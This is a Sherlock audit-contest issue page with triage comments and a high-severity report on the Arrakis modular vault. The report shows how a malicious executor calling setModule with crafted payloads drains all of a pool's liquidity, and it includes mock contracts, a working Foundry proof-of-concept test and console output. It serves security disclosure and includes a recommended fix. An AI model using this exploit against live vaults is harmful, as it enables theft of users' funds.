Closed sherlock-admin4 closed 3 months ago
Escalate
Duplicate of #50
Escalate
Duplicate of #50
You've created a valid escalation!
To remove the escalation from consideration: Delete your comment.
You may delete or edit your escalation comment anytime before the 48-hour escalation window closes. After that, the escalation becomes final.
Adding to @0xjuaan's comment, this should be a valid issue together with #35 as it refers to the same process explained in #50.
Agreed, Valid dups of issue #50 are #14, #21, #35 and #45
@Hash01011122 #14 is not a dupe of this issue, #45 is not either
The issue group is #21, #35, #50, #15
Agree with the escalation, planning to accept it and duplicate with #50.
Result: High Duplicate of #50
juaan
high
When calling
setModule
, a malicious executor can use malicious payload to steal 100% of the pool's liquiditySummary
The contest README states:
This report shows a complex attack, performed by the restricted
executor
when callingsetModule
- ultimately draining 100% of the liquidity in the pool in one transaction.Vulnerability Detail
The root cause lies in
ValantisHOTModule.withdraw(receiver_, proportion_)
, which is a permissioned function with the modifieronlyMetaVault
This function can withdraw a
proportion_
of the pool’s liquidity, sending it to thereceiver_
This function is called by the
ArrakisMetaVault
in only two different areas, and is used in a way that cannot be exploited.However, the protocol did not consider that the meta-vault makes an arbitrary call to the newly set module, and this can be used to call
withdraw()
on the module with malicious calldata.In the above code snippet within
ArrakisMetaVault.setModule()
,_module
is the old module andmodule_
is the new one.We can see that the entire liquidity of the pool is withdrawn, and transferred to the new
module_
which is set as the receiver.Then, arbitrary
payloads_
passed in by the executor are called on the new module.When calling
setModule()
, a malicious executor can provide the followingpayloads_
array:initializePosition()
withdraw(executor_address, BASE)
Impact
Once a well-intentioned vault owner calls
whitelistModules
and a new module is created, a malicious executor can callsetModule
from theArrakisStandardManager
with a malicious payload to steal the entire pool’s liquidity.Note that the vault owner is not malicious in this attack. The vulnerability still exists even if the new module (and it’s associated ALM and SovereignPool) are perfectly normal.
Proof of Concept
To run the coded PoC, add it to the
arrakis-modular/test/integration
directory.2 of the mocks used have been slightly modified compared to the protocol's version, so I have provided them here:
Mocks:
SovereignALMMock.sol
```solidity // SPDX-License-Identifier: UNLICENSED pragma solidity ^0.8.19; import {IERC20} from "@openzeppelin/contracts/token/ERC20/IERC20.sol"; import {SafeCast} from "@openzeppelin/contracts/utils/math/SafeCast.sol"; contract SovereignALMMock { address public token0; address public token1; constructor(address t0, address t1) { token0 = t0; token1 = t1; } uint160 public sqrtSpotPriceX96; function setSqrtSpotPriceX96(uint160 sqrtSpotPriceX96_) external { sqrtSpotPriceX96 = sqrtSpotPriceX96_; } function setToken0AndToken1( address token0_, address token1_ ) external { token0 = token0_; token1 = token1_; } function getReservesAtPrice(uint160) external view returns (uint128 reserves0, uint128 reserves1) { reserves0 = SafeCast.toUint128( IERC20(token0).balanceOf(address(this)) ); reserves1 = SafeCast.toUint128( IERC20(token1).balanceOf(address(this)) ); } function depositLiquidity( uint256 amount0, uint256 amount1, uint160, uint160 ) external returns (uint256 amount0Deposited, uint256 amount1Deposited) { IERC20(token0).transferFrom( msg.sender, address(this), amount0 ); IERC20(token1).transferFrom( msg.sender, address(this), amount1 ); amount0Deposited = amount0; amount1Deposited = amount1; } function withdrawLiquidity( uint256 amount0, uint256 amount1, address receiver, uint160, uint160 ) external { IERC20(token0).transfer(receiver, amount0); IERC20(token1).transfer(receiver, amount1); } function setPriceBounds( uint160 _sqrtPriceLowX96, uint160 _sqrtPriceHighX96, uint160 _expectedSqrtSpotPriceUpperX96, uint160 _expectedSqrtSpotPriceLowerX96 ) external {} function getAMMState() external view returns (uint160, uint160, uint160) { return (sqrtSpotPriceX96, 0, 0); } } ```SovereignPoolMock.sol
```solidity // SPDX-License-Identifier: UNLICENSED pragma solidity ^0.8.19; import {IERC20} from "@openzeppelin/contracts/token/ERC20/ERC20.sol"; contract SovereignPoolMock { address public token0; address public token1; uint256 public managerBalance0; uint256 public managerBalance1; uint256 public managerFeeBIPS; uint256 public reserves0; uint256 public reserves1; function setReserves( uint256 reserves0_, uint256 reserves1_ ) external { reserves0 = reserves0_; reserves1 = reserves1_; } function setToken0AndToken1( address token0_, address token1_ ) external { token0 = token0_; token1 = token1_; } function setManagesFees( uint256 managerBalance0_, uint256 managerBalance1_ ) external { managerBalance0 = managerBalance0_; managerBalance1 = managerBalance1_; } function setPoolManagerFeeBips(uint256 poolManagerFeeBips_) external { managerFeeBIPS = poolManagerFeeBips_; } function claimPoolManagerFees( uint256, uint256 ) external returns ( uint256 feePoolManager0Received, uint256 feePoolManager1Received ) { feePoolManager0Received = managerBalance0; feePoolManager1Received = managerBalance1; if (managerBalance0 > 0) { IERC20(token0).transfer(msg.sender, managerBalance0); } if (managerBalance1 > 1) { IERC20(token1).transfer(msg.sender, managerBalance1); } } // #region view functions. function getPoolManagerFees() external view returns (uint256 poolManagerFee0, uint256 poolManagerFee1) { poolManagerFee0 = managerBalance0; poolManagerFee1 = managerBalance1; } function poolManagerFeeBips() external view returns (uint256) { return managerFeeBIPS; } function getReserves() external view returns (uint256, uint256) { return (reserves0, reserves1); } // #endregion view functions. } ```PoC:
Foundry Test PoC
```solidity // SPDX-License-Identifier: UNLICENSED pragma solidity ^0.8.19; // Foundry imports import {console} from "forge-std/console.sol"; import {Vm} from "forge-std/Vm.sol"; import {ArrakisMetaVaultPublic} from "../../src/ArrakisMetaVaultPublic.sol"; import {ArrakisMetaVault} from "../../src/abstracts/ArrakisMetaVault.sol"; import {TimeLock} from "../../src/TimeLock.sol"; import {ArrakisStandardManager} from "../../src/ArrakisStandardManager.sol"; import {IModuleRegistry} from "../../src/interfaces/IModuleRegistry.sol"; import {ValantisModulePublic} from "../../src/modules/ValantisHOTModulePublic.sol"; import {TEN_PERCENT} from "../../src/constants/CArrakis.sol"; import {ValantisModule} from "../../src/abstracts/ValantisHOTModule.sol"; import {IArrakisMetaVaultPublic} from "../../src/interfaces/IArrakisMetaVaultPublic.sol"; import {IArrakisMetaVault} from "../../src/interfaces/IArrakisMetaVault.sol"; import {IOwnable} from "../../src/interfaces/IOwnable.sol"; import {SovereignPool} from "../../lib/valantis-hot/lib/valantis-core/src/pools/SovereignPool.sol"; // Mocks import {OracleWrapper} from "./mocks/OracleWrapper.sol"; import {SovereignPoolMock} from "./mocks/SovereignPoolMock.sol"; import {SovereignALMMock} from "./mocks/SovereignALMMock.sol"; //Base Test import {ValantisIntegrationPublicTest} from "./ValantisIntegrationPublic.t.sol"; contract PoC_MaliciousExecutor_DrainsWholePool is ValantisIntegrationPublicTest { address minter; address public constant OWNER_EOA = 0x529a65684a6923958ab6b7DF7B909a8D5e1580ae; function test_new_maliciousExecutor_drainsPool() public { // #region Vault Init minter = makeAddr("minter"); deal(address(token0), minter, init0); // 2000e6 (0: USDC) deal(address(token1), minter, init1); // 1e18 (1: WETH) vm.label(address(token0), "token0"); vm.label(address(token1), "token1"); address oldModule = address(IArrakisMetaVault(vault).module()); //@e user mints from meta vault, using old module vm.startPrank(minter); token0.approve(oldModule, init0); token1.approve(oldModule, init1); IArrakisMetaVaultPublic(vault).mint(1e18, minter); vm.stopPrank(); // #endregion Vault Init console.log( "\n [Before]\n Executor's Balance:\n token0: %e\n token1: %e", token0.balanceOf(executor), token1.balanceOf(executor) ); console.log( "Pool's Balance Before:\n token0: %e\n token1: %e", token0.balanceOf(address(pool)), token1.balanceOf(address(pool)) ); TimeLock timelock = TimeLock(payable(IOwnable(vault).owner())); // Initialisation Data for the newly whitelisted module bytes[] memory initData = new bytes[](1); initData[0] = abi.encodeWithSelector( ValantisModule.initialize.selector, address(new SovereignPoolMock()), 1e18, 1e18, 1e5, vault ); bytes memory whitelistModulesPayload = abi.encodeWithSelector( ArrakisMetaVault.whitelistModules.selector, IModuleRegistry(moduleRegistry).beacons(), initData ); //Whitelist a new module (same beacon as the existing module) vm.startPrank(OWNER_EOA); timelock.schedule(vault, 0, whitelistModulesPayload, bytes32(0), bytes32(uint256(0xff)), 2 days); vm.warp(block.timestamp + 2 days); timelock.execute(vault, 0, whitelistModulesPayload, bytes32(0), bytes32(uint256(0xff))); vm.stopPrank(); bytes memory almPayload = abi.encodeWithSelector( ValantisModule.setALMAndManagerFees.selector, address(new SovereignALMMock(address(token0), address(token1))), oracle ); address[] memory modules = ArrakisMetaVaultPublic(vault).whitelistedModules(); //@e set ALM for the new module //@note: A mock ALM is used for simplicity of setup, but it will still work with a real ALM vm.startPrank(OWNER_EOA); timelock.schedule(modules[1], 0, almPayload, bytes32(0), bytes32(uint256(0xff)), 2 days); vm.warp(block.timestamp + 2 days); timelock.execute(modules[1], 0, almPayload, bytes32(0), bytes32(uint256(0xff))); vm.stopPrank(); // A specific sequence of two calls will be made bytes[] memory payloads = new bytes[](2); // First Call: initializePosition (Deposits liquidity into ALM) payloads[0] = abi.encodeWithSelector( ValantisModule.initializePosition.selector ); // Second Call: withdraw (Withdraws liqudity, and sends it to malicious `executor`) payloads[1] = abi.encodeWithSelector( ValantisModule.withdraw.selector, executor, 1e18 ); // Set the module and pass in the maliciously crafted payloads vm.startPrank(executor); ArrakisStandardManager(payable(manager)).setModule(vault, modules[1], payloads); //DONE: the funds have been sent to `executor` console.log( "\n [After]\n Executor's Balance:\n token0: %e\n token1: %e", token0.balanceOf(executor), token1.balanceOf(executor) ); console.log( "Pool's Balance After:\n token0: %e\n token1: %e", token0.balanceOf(address(pool)), token1.balanceOf(address(pool)) ); assertEq(token0.balanceOf(executor), 2e9); assertEq(token1.balanceOf(executor), 1e18); assertEq(token0.balanceOf(address(pool)), 0); assertEq(token1.balanceOf(address(pool)), 0); } } ```Console output
```bash Ran 1 test for test/integration/H3.t.sol:H3 [PASS] test_new_maliciousExecutor_drainsPool() (gas: 2282431) Logs: [Before] Executor's Balance: token0: 0e0 token1: 0e0 Pool's Balance Before: token0: 2e9 token1: 1e18 [After] Executor's Balance: token0: 2e9 token1: 1e18 Pool's Balance After: token0: 0e0 token1: 0e0 Test result: ok. 1 passed; 0 failed; 0 skipped; finished in 390.42ms ```Code Snippet
https://github.com/sherlock-audit/2024-03-arrakis/blob/64a7dc6ccb5de2824870474a9f35fd3386669e89/arrakis-modular/src/abstracts/ArrakisMetaVault.sol#L97-L134
Tool used
Manual Review
Recommendation
Do not allow the function selector for
ValantisHOTModule.withdraw()
to be included as a payload passed tosetModule()
Duplicate of #50